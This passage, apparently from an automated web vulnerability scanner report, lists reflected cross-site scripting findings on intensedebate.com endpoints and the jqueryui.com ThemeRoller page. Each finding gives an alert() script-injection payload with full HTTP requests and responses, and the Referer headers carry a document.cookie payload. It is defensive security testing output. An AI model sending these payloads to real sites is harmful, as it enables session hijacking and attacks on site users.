Date: Wed, 09 Feb 2011 13:31:25 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Length: 4703

   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <meta http-equiv="Conte
...[SNIP]...
<script type='text/javascript' src='http://wordpress.com/remote-login.php?action=js&id=120742&host=intensedebate.com&back=http://intensedebate.com/empty.php88920'><script>alert(1)</script>e89cf172d1c'>
...[SNIP]...

1.107. http://intensedebate.com/empty.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://intensedebate.com
Path:	/empty.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 9c427'><script>alert(1)</script>d010a75075 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /empty.php/9c427'><script>alert(1)</script>d010a75075 HTTP/1.1
Host: intensedebate.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=239309019.1296494785.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __qca=P0-1269071080-1296494784940; __utma=239309019.1543046413.1296494785.1296494785.1296494785.1

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 09 Feb 2011 13:31:25 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Length: 4703

   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <meta http-equiv="Conte
...[SNIP]...
<script type='text/javascript' src='http://wordpress.com/remote-login.php?action=js&id=120742&host=intensedebate.com&back=http://intensedebate.com/empty.php/9c427'><script>alert(1)</script>d010a75075'>
...[SNIP]...

1.108. http://intensedebate.com/idc/js/comment-func.php [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://intensedebate.com
Path:	/idc/js/comment-func.php

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 5d4c5'><script>alert(1)</script>765cfe08e1b was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /idc/js/comment-func.php5d4c5'><script>alert(1)</script>765cfe08e1b?token=Jt8Cw5WmHtXpxKTmGFSNz5YhuzHqpag9&blogpostid=73949530&time=1297258315443 HTTP/1.1
Host: intensedebate.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=239309019.1296494785.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __qca=P0-1269071080-1296494784940; __utma=239309019.1543046413.1296494785.1296494785.1296494785.1

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 09 Feb 2011 13:31:28 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Length: 4796

   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <meta http-equiv="Conte
...[SNIP]...
<script type='text/javascript' src='http://wordpress.com/remote-login.php?action=js&id=120742&host=intensedebate.com&back=http://intensedebate.com/idc/js/comment-func.php5d4c5'><script>alert(1)</script>765cfe08e1b?token=Jt8Cw5WmHtXpxKTmGFSNz5YhuzHqpag9&blogpostid=73949530&time=1297258315443'>
...[SNIP]...

1.109. http://intensedebate.com/js/getCommentCounts.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://intensedebate.com
Path:	/js/getCommentCounts.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 9bef9'><script>alert(1)</script>eaabf164f70 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /js/getCommentCounts.php9bef9'><script>alert(1)</script>eaabf164f70?src=wp-2&acct=bd93835423d7d4b2ee3980d6cba4c893&ids=2456|&guids=http%253A%252F%252Faddyosmani.com%252Fblog%252F%253Fp%253D2456|&links=http%3A%2F%2Faddyosmani.com%2Fblog%2Fvideo-jquerysub-explained%2F|&titles=Spotlight%2Bon%2BjQuery%2B1.5%253A%2BjQuery.sub%2528%2529%2BExplained%2B%2528Screencast%2529|&authors=Addy|&times=2011-02-02%2B17%253A02%253A02| HTTP/1.1
Host: intensedebate.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=239309019.1296494785.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __qca=P0-1269071080-1296494784940; __utma=239309019.1543046413.1296494785.1296494785.1296494785.1

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 09 Feb 2011 13:31:29 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Length: 5069

   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <meta http-equiv="Conte
...[SNIP]...
<script type='text/javascript' src='http://wordpress.com/remote-login.php?action=js&id=120742&host=intensedebate.com&back=http://intensedebate.com/js/getCommentCounts.php9bef9'><script>alert(1)</script>eaabf164f70?src=wp-2&acct=bd93835423d7d4b2ee3980d6cba4c893&ids=2456|&guids=http%253A%252F%252Faddyosmani.com%252Fblog%252F%253Fp%253D2456|&links=http%3A%2F%2Faddyosmani.com%2Fblog%2Fvideo-jquerysub-explained%2F|&
...[SNIP]...

1.110. http://intensedebate.com/js/wordpressTemplateCommentWrapper2.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://intensedebate.com
Path:	/js/wordpressTemplateCommentWrapper2.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 96ded'><script>alert(1)</script>bb633d612d5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /js/wordpressTemplateCommentWrapper2.php96ded'><script>alert(1)</script>bb633d612d5?acct=bd93835423d7d4b2ee3980d6cba4c893&postid=2456&title=Spotlight+on+jQuery+1.5%3A+jQuery.sub%28%29+Explained+%28Screencast%29&url=http%3A%2F%2Faddyosmani.com%2Fblog%2Fvideo-jquerysub-explained%2F&posttime=2011-02-02+17%3A02%3A02&postauthor=Addy&guid=http%3A%2F%2Faddyosmani.com%2Fblog%2F%3Fp%3D2456 HTTP/1.1
Host: intensedebate.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=239309019.1296494785.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __qca=P0-1269071080-1296494784940; __utma=239309019.1543046413.1296494785.1296494785.1296494785.1

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 09 Feb 2011 13:31:33 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Length: 5033

   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <meta http-equiv="Conte
...[SNIP]...
<script type='text/javascript' src='http://wordpress.com/remote-login.php?action=js&id=120742&host=intensedebate.com&back=http://intensedebate.com/js/wordpressTemplateCommentWrapper2.php96ded'><script>alert(1)</script>bb633d612d5?acct=bd93835423d7d4b2ee3980d6cba4c893&postid=2456&title=Spotlight+on+jQuery+1.5%3A+jQuery.sub%28%29+Explained+%28Screencast%29&url=http%3A%2F%2Faddyosmani.com%2Fblog%2Fvideo-jquerysub-explained%2F&pos
...[SNIP]...

1.111. http://intensedebate.com/js/wordpressTemplateLinkWrapper2.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://intensedebate.com
Path:	/js/wordpressTemplateLinkWrapper2.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 2ec7c'><script>alert(1)</script>3810834b27b was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /js/wordpressTemplateLinkWrapper2.php2ec7c'><script>alert(1)</script>3810834b27b?acct=bd93835423d7d4b2ee3980d6cba4c893 HTTP/1.1
Host: intensedebate.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=239309019.1296494785.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __qca=P0-1269071080-1296494784940; __utma=239309019.1543046413.1296494785.1296494785.1296494785.1

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 09 Feb 2011 13:31:26 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Length: 4764

   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <meta http-equiv="Conte
...[SNIP]...
<script type='text/javascript' src='http://wordpress.com/remote-login.php?action=js&id=120742&host=intensedebate.com&back=http://intensedebate.com/js/wordpressTemplateLinkWrapper2.php2ec7c'><script>alert(1)</script>3810834b27b?acct=bd93835423d7d4b2ee3980d6cba4c893'>
...[SNIP]...

1.112. http://intensedebate.com/remoteCheckin.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://intensedebate.com
Path:	/remoteCheckin.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload ea701'><script>alert(1)</script>8c1d588c7f7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /remoteCheckin.phpea701'><script>alert(1)</script>8c1d588c7f7?token=Jt8Cw5WmHtXpxKTmGFSNz5YhuzHqpag9&blogpostid=73949530&time=1297258315307 HTTP/1.1
Host: intensedebate.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=239309019.1296494785.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __qca=P0-1269071080-1296494784940; __utma=239309019.1543046413.1296494785.1296494785.1296494785.1

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 09 Feb 2011 13:31:25 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Length: 4790

   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <meta http-equiv="Conte
...[SNIP]...
<script type='text/javascript' src='http://wordpress.com/remote-login.php?action=js&id=120742&host=intensedebate.com&back=http://intensedebate.com/remoteCheckin.phpea701'><script>alert(1)</script>8c1d588c7f7?token=Jt8Cw5WmHtXpxKTmGFSNz5YhuzHqpag9&blogpostid=73949530&time=1297258315307'>
...[SNIP]...

1.113. http://intensedebate.com/remoteVisit.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://intensedebate.com
Path:	/remoteVisit.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload dcc8a'><script>alert(1)</script>dfb1d1116fa was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /remoteVisit.phpdcc8a'><script>alert(1)</script>dfb1d1116fa?acct=bd93835423d7d4b2ee3980d6cba4c893&time=1297258315030 HTTP/1.1
Host: intensedebate.com
Proxy-Connection: keep-alive
Referer: http://addyosmani.com/blog/video-jquerysub-explained/?d182c%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E8aad83cada=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=239309019.1296494785.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/16; __qca=P0-1269071080-1296494784940; __utma=239309019.1543046413.1296494785.1296494785.1296494785.1

Response

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 09 Feb 2011 13:31:24 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Content-Length: 4766

   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
   <html xmlns="http://www.w3.org/1999/xhtml">
   <head>
   <meta http-equiv="Conte
...[SNIP]...
<script type='text/javascript' src='http://wordpress.com/remote-login.php?action=js&id=120742&host=intensedebate.com&back=http://intensedebate.com/remoteVisit.phpdcc8a'><script>alert(1)</script>dfb1d1116fa?acct=bd93835423d7d4b2ee3980d6cba4c893&time=1297258315030'>
...[SNIP]...

1.114. http://jqueryui.com/themeroller/ [bgColorActive parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgColorActive request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8d819"><script>alert(1)</script>83856e3d441 was submitted in the bgColorActive parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff8d819"><script>alert(1)</script>83856e3d441&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:44 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
lt=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff8d819"><script>alert(1)</script>83856e3d441&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&bord
...[SNIP]...

1.115. http://jqueryui.com/themeroller/ [bgColorContent parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgColorContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6e72"><script>alert(1)</script>a9d4d2e762b was submitted in the bgColorContent parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffffd6e72"><script>alert(1)</script>a9d4d2e762b&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:36 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
l&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffffd6e72"><script>alert(1)</script>a9d4d2e762b&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&border
...[SNIP]...

1.116. http://jqueryui.com/themeroller/ [bgColorDefault parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgColorDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fc373"><script>alert(1)</script>3ea55f7fc70 was submitted in the bgColorDefault parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6fc373"><script>alert(1)</script>3ea55f7fc70&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:38 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6fc373"><script>alert(1)</script>3ea55f7fc70&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColor
...[SNIP]...

1.117. http://jqueryui.com/themeroller/ [bgColorError parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the bgColorError request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dfc30"><script>alert(1)</script>a9e1b8c37b8 was submitted in the bgColorError parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ecdfc30"><script>alert(1)</script>a9e1b8c37b8&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:47 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
